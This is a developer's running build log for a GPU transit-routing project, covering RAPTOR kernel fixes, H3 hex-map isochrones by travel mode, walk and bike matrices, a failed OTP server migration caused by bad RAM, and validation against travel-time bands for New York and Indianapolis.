Build Log (running)
TL;DR
- 2026-06-10 S3: res-10 (3,748,291 origins) in 3.31 s; graphify knowledge graph; wiki/gbrain/brain all updated.
- 2026-06-10 S2 (late): git repo + GitHub; phase B core — 73 ms full-grid samples, 13-sample rush window in 0.95 s.
- 2026-06-10 S2: external review filed; kernel implemented and validated bit-exact (phase A complete in one session).
- 2026-06-10 S1: design, kernel skeleton, H3 grids, GTFS->Arrow conversion (prior chat).
Build Log — GPU Multi-Source RAPTOR
Living log of the gpu-pilot kernel effort. Newest entry first. Each session
appends an entry here and republishes the report
(venv/bin/python raptor-design/publish_report.py). Rendered at
https://videolens.certihomes.com/r/2026-06-10-raptor-design-review.html.
2026-07-12 · Zero-transfer feed guard — indianapolis region slot no longer crashes build_transfer_closure
Bug (found during the task-#69 losingground re-rank): the new indianapolis network (mdb-11 + mdb-1237, IndyGo) crashed _build_region_slot with ValueError: zero-size array to reduction operation CUPY_CUB_MAX which has no identity at raptor_pipeline.py cp.bincount(src) — the feed set has zero transfer pairs (no transfers.txt rows, no multi-platform parents, single feed), so the dense GPU Floyd-Warshall closure saw an empty src. The live :8098 engine could not serve ANY indianapolis transit isochrone; rank_transit.py skipped the metro.
- Fix (commit
86bd8da): early-return an empty CSR (xfer_offsetszeros, emptyxfer_to/xfer_sec) whenn_direct == 0— the exact shape the sparse-CPU path inhexmap-api/engine.pyalready returns — and skip the pointless S×S FW pass. TDD:raptor-design/test_transfer_closure_empty.pyreproduces the crash on a 3-stop zero-transfer fixture and now passes; T1 synthetic stays bit-exact GPU == CPU == hand. - Scratch
:8099verification: Indy downtown anchor (39.7684,-86.1581) outbound transit → 5,603 res-9 cells, median 50 min, p90 74 min, kernel 22 ms; engine log showstransfers: 0 txt rows -> 0 direct platform edges -> 0 closed edges; walk matrix 109,641 pairs, 5,610/11,776 origins within 1 km of a stop. NYC slot (pinned) built clean through the unchanged non-empty path. - Deploy note:
raptor-design/*.pyedits do NOT auto-restart:8098(onlyhexmap-api/*.pydo) — production restart (sudo systemctl restart hexmap-api) pending Krishna's go; until then:8098still runs the old module and indianapolis transit still fails there (except the one downtown cache entry the scratch run wrote). - DEPLOYED 2026-07-12 (same day, post power-outage checks): Krishna OK'd sudo; scratch
:8099re-verified on a fresh uncached anchor (5,603 cells, guard line in log), thensystemctl restart hexmap-api. Live:8098proof: fresh Fountain Square anchor (39.7520,-86.1460) outbound transit → HTTP 200 in 7.6 s (full indy region-slot build,cached:false), 5,603 res-9 cells, kernel 18 ms;/var/log/hexmap-api.logshowstransfers: 0 txt rows -> 0 direct platform edges -> 0 closed edgesin the production process. NYC regression check: 15,530 cells (== healthzv1_cells), cache intact. Indianapolis transit is live; task-#69rank_transit.pycan now re-rank it.
2026-06-12 · Session 12 — Per-mode isochrones on the GPU hex map: /v1/isochrone gains an ADDITIVE modes param (Walk / Bike / Drive / Train / Uber + Park&Ride + Kiss&Ride), best-of-mode per hex
Mandate (Krishna, "go full"): make the hex map do REAL per-mode isochrones like OTP but color-coded hexes on GPU — Walk/Bike/Drive/Train/Uber + P&R + K&R. All the pieces existed (multimodal.py access/egress + fares, run_commute_towns.py leg logic, cuGraph walk+cycling graphs, OSRM drive); they just weren't exposed per-mode. Non-negotiable: the existing no-modes call stays byte-identical so commutingcost.com/map and multimodal.certihomes.com never break.
What shipped — hexmap-api/modes.py (new) + additive hooks in engine.py/app.py
POST /v1/isochronegainsmodes?: list[str]+objective?: time|cost. Omittingmodesis the legacy path verbatim (proven byte-identical: full response dict equal minus thecachedflag; a forced cache-miss default returns the legacy shape withegress_stops/depart_secand none of the newmode/modes/objectivekeys). 7 modes:- walk — cuGraph SSSP over the tri-state OSM walk graph (11.3M nodes),
cutoff=4,800 mso the search is 0.24 s not 24 s. Cost $0. - bike — cuGraph SSSP over the cycling graph @4.5 m/s,
cutoff=18,000 m(0.7 s). Cost =citibike_fare. - drive — OSRM
/tabledest→16.6K cells × peak factor; 8 concurrent workers → 5 s (was 28 s serial). Cost = mileage + Manhattan CBD parking + Hudson toll. - transit (Train) — the existing engine.isochrone() pass, unchanged.
- uber — OSRM drive time + 5-min pickup; cost =
uber_fare(dist,dur). - pnr (Park&Ride) — drive ACCESS → each cell's nearest railhead as a synthetic Round-0 seed (multimodal.synthetic_walk_csr, the run_commute_towns leg pattern inverted to be dest-centric) → RAPTOR → walk egress. Cost = drive mileage + station parking + rail fare.
- knr (Kiss&Ride) — uber ACCESS → railhead → RAPTOR → walk egress. Cost = uber-to-station + rail fare.
- >1 mode → per-hex BEST, default
objective=time(min door sec) orobjective=cost(min generalized cost = out-of-pocket + VOT$18/h × min). Winner returned in newmode:{h3:name}map;stats.mode_countssummarizes. The kernel never changed — only the Round-0 access CSR (walk → drive/uber-to-rail) and the post-kernel egress/cost differ.
Correctness + measured (live :8098, Times Sq, am_peak, 13 samples)
| mode | cells | median | mean cost | compute |
|---|---|---|---|---|
| transit | 15,530 | 82.2 m | $13.24 | 0.75 s (== default) |
| drive | 16,621 | 63.2 m | $58.36 | 5.1 s |
| uber | 16,621 | 68.2 m | $82.75 | 4.8 s |
| bike | 2,434 | 41.0 m | $8.32 | 10.5 s first-build then cached |
| walk | 298 | 36.8 m | $0 | 12 s first-build then cached |
| pnr | 16,123 | 86.3 m | $19.45 | 5.1 s |
| knr | 16,124 | 83.2 m | $23.62 | 4.8 s |
All-7 combo objective=time: drive 13,505 / knr 1,929 / transit 800 / pnr 241 / bike 146. objective=cost shifts toward transit/knr/bike. VRAM peak with both SSSP graphs resident ≈ 4.3 GiB (budget 12,288) — no leak across requests. Per-mode results disk-cache under a distinct key (…_m{sorted+modes}_{objective}.json) that never collides with the legacy cache.
Guardrails honored
- ADDITIVE: default/no-modes path untouched (verified byte-identical pre/post restart). One systemd restart at the end (new PID 1684688, engine ready ~10 s). asyncio one-kernel lock + 429 kept (mode requests serialize on the same lock — correct since walk/bike use the GPU too).
- Regression PASS: commutingcost.com/map proxy → 15,530 cells http 200; multimodal.certihomes.com/click → GeoJSON FeatureCollection http 200. Both consume the default (no-modes) response, so the adapter/FE are unaffected.
- RAPIDS gotcha fixed: a lazy
import cugraphafter cudf dies withlibcugraph.so: cannot open shared object file;engine.py/modes.pynow calllibcugraph.load_library()before the cudf-pulling imports.
Next (deferred, flagged for the FE pass)
- FE/adapter wires the existing Walk/Bike/Drive/Train/Uber/P&R/K&R toggles →
modes:[...]. No FE touched this run. - pnr/knr seed only each cell's single nearest railhead (keeps OSRM 1-source-per-station bounded); multi-station seeding + GTFS Fares v2 per-leg fares are the obvious follow-ups. Drive TIME is still OSRM free-flow × peak (no Valhalla).
2026-06-12 · Session 11 — Krishna's hex-map product directive SHIPPED: monthly GeoJSON tile precompute (res 9/10) + /map time-default UX with cost-on-hover, cost mode, time-fill+cost-dot, and Person-B multiuser
Mandate (Krishna, verbatim themes): hex maps need pre-calculation only ~once a MONTH yielding GeoJSON for a given area at H3 res 9 or 10 by zoom; default display = TIME like commute.tlcengine.com but multimodal + multiuser + national structure; hover a hex → costs Hex A→Hex B; dropdown to switch choropleth to COST (time on hover); and BOTH at once via hex fill = time gradient + center DOT = cost gradient. All shipped live at https://commutingcost.com/map.
1. Tile generator — hexmap-tiles/generate_tiles.py (geocoder)
- Monthly one-command precompute: 15,530 res-9 cells (108,710 res-10 children) × 4 dests × 2 windows → 2,672 GeoJSON shards (349 MB incl. pre-gzipped siblings) in 25.9 s. Features carry
{h3, t door-to-door sec, c one-way fare USD, m multimodal chain}+ hex Polygon (QGIS-ready). - Sources per dest, in order:
nyc_hexmap_res9_v1.parquet→ hexmap-api disk cache → live GPU run via the resident :8098 engine (--compute; warm ~1 s, and the API caches it for the next monthly run).--dest key=lat,lon,labeladds destinations;--bboxscopes the area;--syncrsyncs to geo3. - Area-scoped serving: res-9 tiles sharded by res-5 parent (74 shards, median 4 KB gz), res-10 by res-6 parent (260 shards, median 10 KB gz).
manifest.json= region registry (national structure: new metros add a region block), dest registry, shard ids, legend bins (time tiers = legacy commute.tlcengine.com 10/15/20/30/40/50/60/75/90/120 min ramp; cost tiers $3.50→$24+ from the observed fare distribution), per-dest stats.
2. /map app (geo3 commutingcost-hexmap, port 3034) — new default UX
- New
/map/api/tiles/[...path]route serves manifest + shards fromgeo3:/home/krish/hexmap-tiles(pre-gzipped, path-guarded — traversal probe → 400),src/lib/commuteTiles.tsintersects the viewport with shard bboxes and fetches only visible shards, cached per dest/window/res/shard. Res 9 below zoom 11.5, res 10 at/above — per the directive. - Default display = TIME choropleth (Midtown AM-peak on load, RdYlGn-10 ramp), with the dest dropdown (4 NYC cores), AM-peak/off-peak toggle, and a Display dropdown: Time / Cost / "Time fill + cost dot" — the last renders Krishna's dual encoding (H3HexagonLayer time fill + ScatterplotLayer center dots on the cost ramp).
- Hover = costs A→B: in time mode the tooltip leads with the fare from the hovered hex to the destination (then time + mode chain); in cost mode it leads with time.
- Multiuser shipped ("+ Person B works at"): client-side join of two dests' tiles — renders only hexes where BOTH commutes are feasible, fill = worse of the two times, cost = combined fares, tooltip shows the per-person breakdown. This is PITCH.md's flagship two-commuter intersect, live.
- No regressions: CellPanel + live GPU isochrone (still overrides, dims tiles), national CNT H+T layer, legacy origin isochrone, base hex_transit_us layer (dims to 0.2 under the commute layer) all verified post-deploy. Header now reads "True Cost of Trips — time + cost, door to door."
Verification (live, through the public site)
manifest + shards 200 w/ gzip (43 KB transfer for an 821-feature shard); default NYC viewport intersects 14 res-9 shards (4,909 features in first 6); res-10 shard sample returns res-10 cells with inherited t/c/m; /map/api/gpu/cell/* (8 commute rows + CBSA) and /map/api/hexes (10,374 hexes) unregressed; new HexMap chunk live with all feature markers. Deploy = npm run build → copy .next/static into standalone (the known gotcha) → pm2 restart commutingcost-hexmap.
Monthly runbook
venv/bin/python hexmap-tiles/generate_tiles.py --sync after each GTFS/fare refresh (see hexmap-tiles/README.md). Next: more dests via --dest … --compute (each later promotes itself from cache), then per-metro regions once Phase-2 networks land.
2026-06-12 · Session 10 — OTP-NE migration gtfs3→gtfs4 ABORTED: memtester proved gtfs4 RAM bad. Referee ran on table bands (4/5 PASS). NE oracle DOWN pending host decision
Mandate: execute the diagnosed migration (gtfs3 24g-vs-postgres → gtfs4) + run the 5-OD referee. Outcome: target host is hardware-broken; migration stopped per plan's escape hatch; everything left safe + documented.
Timeline (UTC)
- 12:24 — gtfs4 recon: 30Gi/29Gi-avail, :8091 free. Brief said "SE OTP (:8092) down"; reality:
otp-pacific.service(:8096, Xmx14g) enabled + crash-looping — NRestarts=705, ~190 hs_err logs since May 20, never listening. Stopped + disabled (collides with NE-24g regardless; unit kept). - 12:26 — transfer gtfs3→gtfs4 via geo tar-pipe (no direct trust), 27 s. graph.obj md5 MISMATCH (same size, corrupt content) — first omen. Re-staged via 2-hop rsync (geo:~/otp-ne-stage),
--checksumpush → all 3 files md5-verified (graph.objad42c1…, jara18dc1…, config486a5c…). - 12:31 — original 24g unit installed on gtfs4 (+OOMScoreAdjust=200, MemoryMax=27G), enabled. SIGSEGV ~8 s in, then 3 more crashes in ~1 min each — all in G1-GC heap-walk frames (conc-mark iterate, trim_queue ×2). Same JDK (21.0.11) served this graph fine on gtfs3.
- 12:34 — pattern check across pacific's hs_err corpus: 792 SIGSEGVs in ≥8 different GC-internal frames across 2 JDK builds and 2 collectors — randomness = memory corruption, not software.
memtester 2048M 1on gtfs4: FAILURE "stuck address line" @0x45d55b08 within minutes, then 3 data failures all dropping bit 22 (0x400000) at two more offsets. gtfs4 (AMD A10-6700, non-ECC) has a bad DIMM data line. Migration aborted; NE unit stopped+disabled on gtfs4. - 12:36-12:40 — attempted fallback (temporary oracle on geocoder, 119Gi free) — denied by policy, correctly: out of authorized scope. Stopped per plan ("if it can't run on a quiet box: stop, report").
- 12:38-12:42 — safe-state: gtfs4
~/README-BAD-RAM.md(evidence + revert paths); gtfs3gtfs-refresh.timerdisabled+stopped (20g root build-JVM next to postgres, serving nothing now; refresh port to gtfs4 SKIPPED — broken box); gtfs3~/otp-northeast/README-MOVED.md; CLAUDE.md NE+SE oracle rows + CONTINUE.md updated to truth.
Referee (otp_compare.py vs cached acceptance_ours.json; OTP column honest "DOWN" → table-band verdicts ±3)
| OD | ours@8 | win-best | band | verdict |
|---|---|---|---|---|
| 08854 Piscataway → NYC Penn (P&R Edison) | 91.6 | 86.6 | 67-78 | FAIL |
| Times Sq → JFK (subway to Howard Beach) | 61.2 | 56.2 | 45-60 | PASS |
| Edison station → NYC Penn | 86.6 | 73.6 | 70-77 | PASS |
| Metropark → NYC Penn | 59.6 | 54.6 | 47-58 | PASS |
| New Brunswick → NYC Penn | 86.6 | 69.6 | 69-76 | PASS |
Identical to the 05:22 Session-8 run (no GPU-side change; OTP was already refusing connections then). Piscataway FAIL one-level investigation: ours@8 91.6→win-best 86.6 is the documented NEC 08:08-express/08:20-local 12-min cliff at exactly 08:00; the 86.6 equals Edison's ours@8 (same train, P&R drive 15+8 min ahead of it). Remaining ~8.6-over-band needs live-OTP itinerary decomposition — blocked until the oracle is rehomed. Note CONTINUE.md's earlier "08854 ✅" was the 30-town E5 context, not this point-departure.
State + decision needed
- OTP-NE DOWN everywhere. Verified asset copies: gtfs3 (canonical, parked + guard), geo:~/otp-ne-stage (graph.obj), geocoder:~/otp-northeast (full trio), gtfs4 (full trio, box unusable).
- Krish to pick the oracle's home: geocoder (119Gi free, 16 cores, :8091 free, one
systemdunit away — assets already staged) or repair gtfs4 DIMMs (memtest86+ from boot, reseat/replace) or elsewhere. Until then acceptance runs band-only. - gtfs4 revert paths in
~/README-BAD-RAM.md; gtfs3 revert paths in~/otp-northeast/README-MOVED.md. Pacific's graph.obj on gtfs4 was likely built/landed on bad RAM — re-verify from source before any revival even post-repair.
Krishna's go: make the National Hex Map interactive — click a hex, see door-to-door times — wired to the real engines. Shipped end-to-end.
hexmap-api (geocoder :8098, systemd enabled, /home/krish/gpu-pilot/hexmap-api/)
- FastAPI over the SAME Session-8 machinery (imports
raptor_pipeline/multimodal/fares/run_nyc_hexmap— no duplication; own venv with a.pthinto the RAPIDS venv). Both networks (full tri-state union S=1,491 + city subway/PATH S=1,021) resident; engine warm in ~6 s. POST /v1/isochrone= run_nyc_hexmap for ONE destination: egress vector from the v2 walk matrix, 13-departure median (v1 parity), city pass for rail detection, heuristic_v1 fares. Compact-origin CSR is the serving win: kernel runs the 16,621 covered origins instead of the 535,471-cell grid — bit-exact (0/15,530 cell mismatches vs both the full-grid A/B ANDnyc_hexmap_res9_v1.parquetMidtown+Downtown-Bklyn AM), 10× faster.- Timings: warm 0.6–0.9 s (cold = same; NVRTC at load), cache hit ~30 ms (
cache/iso_{dest_h3}_{window}_{samples}.json; 4 cores × 2 windows pre-warmed). Serialized kernel: asyncio lock, busy → 429 + Retry-After: 5 (verified under concurrent fire). Engine warming → 503, cache still served. - VRAM: idle 2,387 MiB, compute peak 2,737 MiB (Session-8 batch was 8,227) — state is per-request and freed; :8030's 2 GB untouched.
GET /v1/cell/{h3}: v1 rows (4 dests × 2 windows) + CNThex_htarow (NATIONAL via the 403M crosswalk) + pop/jobs (res-10 children sum).GET /v1/national/hta?bbox=res-9 ht_ami slice for any US metro (Chicago ~70 ms, LIMIT 60K).GET /healthz(engine/VRAM/DB/cache).- Validation: Midtown/Downtown-Bklyn/Newark-Penn isochrones — monotone distance-ring gradients (33→143 min), 0 negative/NaN, Hudson box fastest NJ→Midtown cell = 26.3 min
walk|path+subway|walk(no walk-only water crossing; matrix has 0 cross-Hudson rows). Arbitrary dests: Flushing 0.8 s; White Plains 3.6 s (egress 1 stop, fare loop dominates — fine).
Frontend (geo3 commutingcost-hexmap, branch hexmap-interactive → main, pm2 restarted)
- Click any hex → CellPanel: 4-core door-to-door table (AM/off-peak + fares), CNT H+T benchmark strip, pop/jobs, honest footer "Commute times: NYC pilot · Affordability benchmark: national".
- "Set as destination" →
POST /map/api/gpu/isochrone(server-side Next proxy → geocoder internal; browser same-origin) → res-9 choropleth: green<30 / yellow<60 / orange<90 / red≥90 min, AM/off-peak toggle (cache makes toggling instant), 🎯 marker, legend with n_cells/median/avg-$. - National layer: "H+T affordability layer" checkbox → res-9
ht_amichoropleth for ANY metro at zoom≥9 (CNT 2022, 5-bin ramp at the 45% threshold). Legacy origin-isochrone (:8096) flows untouched (its mode keeps click-sets-origin). - Deploy gotcha learned:
next buildregenerates.next/standaloneWITHOUT.next/static— the pattern is build →cp -r .next/static .next/standalone/.next/static→pm2 restart commutingcost-hexmap. Verified: page+chunks 200 public, old/api/hexesintact, main site/,/docs,/TLCcosts/all 200.
Files
New: hexmap-api/{app.py,engine.py,hexmap-api.service,README.md} (gpu-pilot commit 1e7d2b7); geo3 src/app/api/gpu/[...path]/route.ts, src/components/CellPanel.tsx, src/components/HexMap.tsx rework (commit 349ab8e, +h3-js dep).
Remaining: parent pointers (replaces heuristic_v1 in BOTH the batch script and the API fare port — they must move together), Phase-2 per-metro _Network registry for national commute times, feed refresh (service date pinned 20260415).
2026-06-12 · Session 8 (overnight) — E4b INTEGRATED + NYC HEX MAP v1 SHIPPED: union anchors, matrices wired into the cost pipeline, res-9 time+cost map, acceptance vs table bands (OTP-NE down)
Phase-1 overnight run (Krishna's go): CONTINUE items 1 (E4b) + 4 (hex map) + 5 (acceptance) — all GPU, :8030 untouched, VRAM peak 8,227 MiB (budget 12,288).
1. Walk matrix v2 — commuter-rail anchors + island fix (output/walk_matrix_res9_tristate_v2.parquet)
| v1 (subway) | v2 (golden union) | |
|---|---|---|
| anchors | 1,488 (feed-511) | 2,022 = 509 NJT rail/HBLR + 510 subway + 517 PATH (+entrances) + 520 LIRR + 528 MNR; 19 outside grid bbox (Montauk/Poughkeepsie/AC line) |
| rows | 65,706 | 88,419 |
| covered cells | 4,171 | 16,621 (3.10% of grid) |
| anchors emitting | 1,431/1,488 | 2,001/2,003 in-bbox (the 21 silent = all out-of-region: Hamptons, Wassaic, Waterbury, Philly 30th St) |
| wall / VRAM | 43 s / 2,993 MiB | 75 s / 2,955 MiB (950→971 SSSP sources, 15/s) |
- Island fix shipped — snapping restricted to OSM components ≥ 1,000 nodes: all 57 v1-silent subway stops now emit. First attempt (giant-component-only) silenced ALL of SIR — Staten Island is its own 237,637-node walk component (no walkable Verrazzano; ferry isn't a walk edge). Threshold keeps it + barrier islands, kills the size-~2 station-stair islands.
- v1 reproduction: 65,706/65,706 pairs present, 0 lost, +3,522 gained, median delta 0.0 s (3 rows >30 s — re-snapped off islands). Physics floor 0/88,419 below 0.95× crow-fly; 0 cross-Hudson walk rows.
- Suburban walksheds: Edison 38 cells (own-cell 187 s) · Metropark 35 · New Brunswick 39 · Mineola 42 — all PASS.
- NEW
output/stop_stop_walk_tristate_v2.parquet— anchor↔anchor network walk (55,946 pairs, 6,454 cross-feed) emitted in the same SSSP pass.
2. Matrices WIRED into the pipeline (crow-fly out of the hot path)
raptor_pipeline.build_walk_csr: Round-0 access now loads the string-keyed v2 matrix (h3 → feed-prefixed stop_id → dense platforms incl. parent/entrance expansion). Off-network/water cells stay unreachable BY DESIGN (no haversine resurrection); crow-fly is a flagged last-resort only.build_transfer_closure: cross-feed transfers now use network stop↔stop seconds (89/89 pairs network on the union graph, 0 crow-fly fallback) + found & fixed a silent pre-existing bug: subway transfers.txt ids never matched the namespaced multifeed ids — per-feed golden transfers.txt (510/517/520/528, feed-prefixed) now yields 19,073 rows → 1,810 direct edges (was ~0 matched + defaults).multimodal.egress_legs: walk egress from the matrix (flagged crow-fly fallback), bike egress from the Citi Bike dock matrix, newosrm_foot_s(geo2:5003) as the network fallback beyond the 1,200 s cutoff.- E5 30-town diff (fares + drive: 0/30 changed, as expected): GCT towns +5-6 min (real GCT→office walk 11.2 min vs fixed 6), LIRR +9-10 (Penn→office 15.5), and NJ NEC towns +17-31 min from a REAL BUG the wiring exposed: "PENN STATION" substring-matched NEWARK Penn — the old E5 terminated NJ towns at Newark and called it Midtown+6 min. Fixed via name-exclusion (+OSRM guard). Rail still cheaper 30/30 (~$1,924/mo saved); one time-winner flip (Hempstead 74 vs drive 73 — coin-flip close). All 30 towns now network egress.
3. NYC hex map v1 — output/nyc_hexmap_res9_v1.parquet (the Phase-1 deliverable)
- 124,240 rows = 15,530 covered cells × 4 dests (Midtown/Downtown/Jersey City-Exchange Pl/Downtown Brooklyn) × 2 windows (AM peak 07-09, off-peak 11-13; median over 13 departure samples + best-case column). Columns: h3, dest, window, time_sec, time_best_sec, cost_usd, mode_chain, alight_stop, rail_used, fare_flag, chain_source.
- Every leg on a real graph: v2 matrix access/egress, kernel transit, network transfers. Coverage = cells with genuine walk access to the union (16,621 origins; 75% of covered cells are suburban rail walksheds — that's the tri-state grid working as designed).
- Stats: Midtown AM median 82.2 min p90 144 (covered-cell population is suburb-heavy), avg cost AM ~$13.2-13.9 / off-peak ~$11.6; subway cells $3.00 flat; spot checks: UWS→Midtown 13.8 min $3, Edison stn→Midtown 80.3 min $15.25 (12.25 NJT zone + 3 subway), Hoboken→JC 17.8 min $3 PATH.
- Runtime: 21 s wall end-to-end (kernel 13.2 s for 104 chunk-departures, 2×270K-origin chunks, S=1,491), VRAM peak 8,227 MiB.
- Flagged honestly: kernel has no parent pointers yet (CONTINUE item 3), so mode_chain/fares are heuristic_v1: a 2nd subway+PATH-only kernel pass (
output-city) detects rail involvement; alight stop = argmin(travel+egress) (real); boarding station = nearest rail access; zone fares resolved exactly where the DB names the station (41% 'ok'), else distance-band zone inference off 23-27 named anchors/agency (58% 'fare_zone_inferred'), 154 rows 'rail_unidentified'. GTFS zone_id was a dead end (NJT internal codes, LIRR absent, MNR blank).
4. Acceptance (CONTINUE item 5) — OTP-NE DOWN (OOM crash-loop), validated vs table bands as instructed
gtfs3:8091 = -Xmx24g JVM on a 31 GB box: loads ~25 min, serves minutes, OOM-killed (restart counter 10+). NOT restarted — postgres commute shares the host. geo2:8090 OTP probed as alternate: graph too old (no service ≥ Dec 2025). A 90-min poller + snap comparator (otp_compare.py, reads cached ours from acceptance_ours.json) is armed for any up-window.
| OD (depart 08:00, 20260415) | ours@8:00 | win-best 07:50-08:10 | table | verdict vs band |
|---|---|---|---|---|
| 08854 Piscataway → 10001 Penn (P&R Edison) | 91.6 | 86.6 | 67-78 | FAIL — our P&R model is more conservative (×1.25 peak drive + 8 min park/walk + 30 s slack + network egress); composition logged |
| Times Sq → JFK (subway leg, no AirTrain feed) | 61.2 | 56.2 | 45-60 | PASS |
| Edison stn → NYC Penn | 86.6 | 73.6 | 70-77 | PASS |
| Metropark → NYC Penn | 59.6 | 54.6 | 47-58 (58 NJT) | PASS |
| New Brunswick → NYC Penn | 86.6 | 69.6 | 69-76 | PASS |
Key learning: the NEC 08:08 express → 08:20 local headway cliff turns ±1 min of access into ±12 min of door time at exactly 08:00 — the OD gate now uses point-adjusted access (cell-centroid → exact-point crow-fly delta) and reports the depart-window-best alongside. 4/5 in-band; the 5th is model conservatism, not kernel error (same train pattern, alight 509:105 NY Penn on all NEC pairs).
Files
New: run_nyc_hexmap.py, run_acceptance_ods.py, otp_compare.py, walk-matrix/validate_v2_union.py, gtfs-arrow/output-city/ (510+517), output/{walk_matrix_res9_tristate_v2,stop_stop_walk_tristate_v2,nyc_hexmap_res9_v1}.parquet.
Modified: build_tristate_walk_matrix.py (--anchors union, component-threshold snapping, stop↔stop emission), raptor_pipeline.py (members_raw, v2 walk CSR, per-feed zip transfers, network cross-feed), multimodal.py (matrix+OSRM-foot egress, bike-matrix egress, stations_by_name exclude), run_commute_towns.py (real terminal egress, Newark exclusion).
Logs: walk-matrix/logs/{matrix_v2_union2,validate_v2_union2}.log, raptor-design/output/{hexmap_full,e5_rerun_e4b,acceptance_run}.log.
Remaining (unchanged scope): journey reconstruction (parent pointers → real mode_chain/fares), E3 hex_isochrone peak calibration, res-10 dense-core grid, OTP-NE memory fix (Xmx vs 31 GB host — owner call), feed refresh (Phase D ETL).
2026-06-12 · Session 7 — E4 SHIPPED: tri-state walk matrix (GPU cuGraph) + Citi Bike matrix; CT pyrosm crash fixed via pyosmium
Deliverables (both validated, GPU path, :8030 untouched — base VRAM 2,028 MiB constant):
| file | rows | covered cells | anchors emitting | med time | VRAM peak | wall |
|---|---|---|---|---|---|---|
output/walk_matrix_res9_tristate.parquet (h3, stop_id, walk_s f32) |
65,706 | 4,171 / 535,471 (0.78% grid; 20.3% of NYC walkshed bbox) | 1,431 / 1,488 stops | 858 s | 2,993 MiB | 43 s (SSSP 35 s) |
output/bike_matrix_res9_citibike.parquet (h3, dock_id, walk_s f32 = bike-s @4 m/s) |
858,232 | 5,044 / 535,471 | 2,404 / 2,411 docks | 839 s | 2,925 MiB | 407 s (SSSP 399 s) |
CT fix (the blocker): pyrosm 0.8.0 crashes deterministically on the Geofabrik
CT extract (TypeError: int() ... NoneType in _arrays.convert_to_arrays_and_drop_empty).
Wrote walk-matrix/parse_ct_pyosmium.py (pyosmium 4.3.1 FileProcessor
+ C++ location cache) replicating pyrosm semantics exactly — verified against the
installed pyrosm sources: exclude filter (exact-value, OR across
highway/area/foot|bicycle/service), per-consecutive-node-pair segments, post-hoc
bbox "intersects" keep, endpoint nodes kept just outside bbox, haversine
R=6371.0088 km .round(3), plus stage_parse's trunk/motorway foot post-filter and
(u,v)-min dedupe. Parity proof: re-parsed NJ-walking with it → bit-identical
to the pyrosm cache (5,288,756 nodes / 5,707,816 edges; same ids, coords, edge
sets; max length delta 0.000000 m). And it's ~30-60× faster: CT 25 s, NJ 38 s,
NY-1.6 GB 55 s (pyrosm: NJ 904 s, NY 3,377 s).
Walk pipeline: CT parse → 1,970,132 nodes / 2,072,744 edges (plausible vs NJ 5.29 M / NY 4.09 M); assemble → 11,310,644 nodes / 12,358,440 edges, 0 seam stubs; matrix → 1,488 stops snap median 8.1 m (0 skipped), 5,352 candidate cells, 493 unique SSSP sources, cuGraph SGGraph 24.7 M directed edge rows resident.
Validation (validate_tristate_walk_matrix.py): OVERALL PASS. - Physics floor: 0 / 65,706 rows below 0.95× crow-fly (min ratio 1.000, median detour 1.27×). - Water: Roosevelt Island channel + Perth Amboy↔Tottenville (Arthur Kill) absent from matrix (no phantom water walks); Hudson/NJ-shore box (lat 40.69–40.88, lon −74.10..−74.026): 0 covered cells — a Jersey cell across the Hudson from a Manhattan stop is never short-walk. - OSRM-foot (geo2:5003) 12/12 PASS, mean dev +10.5 %, median +3.6 % (expected +3..+15 % from 1.35 m/s vs OSRM 5 km/h + snap legs; both >20 % rows are tiny absolute deltas, ≤158 s): Prospect Av +4.2, Castle Hill Av +14.8, Kingston-Throop +0.2, Kosciuszko St +3.2, 33 St +1.2, 46 St +2.2, 183 St +65.1 (74 s vs 45 s), 175 St +4.4, Kings Hwy +4.1, 103 St +20.9, Pelham Pkwy +2.8, 149 St-Grand Concourse +2.6. - Station self-cells: Times Sq, Grand Central, Penn, Stillwell, Howard Beach-JFK all PASS (85–364 s). - Coverage note: 0.78 % of the tri-state grid is expected — anchors are feed-511 MTA-subway-only; coverage is 20.3 % of the NYC walkshed bbox (which includes harbor water + non-subway areas).
Root-caused the 57 non-emitting stops: 54/57 snap to tiny disconnected components (size ~2 — station stairs/passages mapped as islands: half the Times Sq/Fulton St complex ids, Aqueduct Racetrack). Graph has 18,216 components; giant = 94.85 % of nodes. Hardening item: restrict anchor/cell snapping to the giant component (label once at assemble).
Bike stretch: cycling-filter parses via the same pyosmium parser (pyrosm would
crash on CT again); merged cycling graph 9,177,407 nodes / 9,746,610 edges; 2,411
Citi Bike docks snap median 8.7 m; physics floor clean (0 below 0.95×, min 1.000);
cross-water rows legitimate for bike (bridges). Column walk_s = network seconds
at 4.0 m/s incl. snap legs.
Remaining E4 work: (1) commuter-rail anchors — re-run --stage matrix with
the Phase D Golden Source union (gtfs-fixed-v3: LIRR + MNR + NJT-509-rail);
graph is already tri-state, ~50 K stops ⇒ batch/multi-source SSSP worth adding
at that scale. (2) Giant-component snap fix for the 57 island stops. (3)
Bike↔transit coupling: dock↔station legs + Round-0 multi-modal init in
multimodal.py/RAPTOR (E5); dock↔dock-only bike legality. (4) res-10 grid for
dense NYC per CONTINUE.md adaptive-resolution plan.
Logs: walk-matrix/logs/{parse_ct_pyosmium,assemble,matrix,validate,parse_bike_all,assemble_bike,bike_matrix}.log.
2026-06-11 · Session 6 (cont. 8) — NATIONAL roadmap (new CONTINUE.md) + CNT H+T Index data task
Rewrote CONTINUE.md as the national roadmap with all references:
- Phase 1 — complete the NYC test: E4 (kill crow-fly → tri-state cuGraph
walk+bike graph), journey reconstruction, finalize rush-hour drive via
hex_isochrone calibration, publish a res-10(dense)/res-9(suburb) NYC hex map
with door-to-door time + real cost. Acceptance: 5 OD pairs within ±2-3 min
of OTP, VRAM < 12 GB, :8030 untouched.
- Phase 2 — whole country: Golden Source GTFS for every region (orphan-extender
generalizes), adaptive H3 — res-10 in dense cities, res-9 in super-suburbs
(driven by hex_demographics density), partitioned national hex parquet.
- Phase 3 — top-100 metros: generalize run_commute_towns.py per CBSA →
per-metro savings; programmatic SEO pages ("save $X/mo by train from {town}")
+ GEO answer-blocks for LLM engines.
CNT H+T Affordability Index (htaindex.cnt.org, 2022) data task: validate our
door-to-door transport cost vs CNT's modeled transport % of income. Findings:
the commute DB has no H+T table yet (hex_demographics = pop/jobs only),
and the download is cookie/JS-gated (bare curl → 261-byte cookie wall, no file
links) — needs a browser session (Claude-in-Chrome) or an owner export. Plan: new
hta_index table (GEOID, level, year, h/t cost %, autos, VMT, transit %, AMI),
join to hex maps by block group ↔ H3.
2026-06-11 · Session 6 (cont. 7) — Valhalla assessment (verdict: don't deploy yet) + state recorded across all stores
Valhalla — investigated thoroughly, verdict = NOT worth deploying for traffic
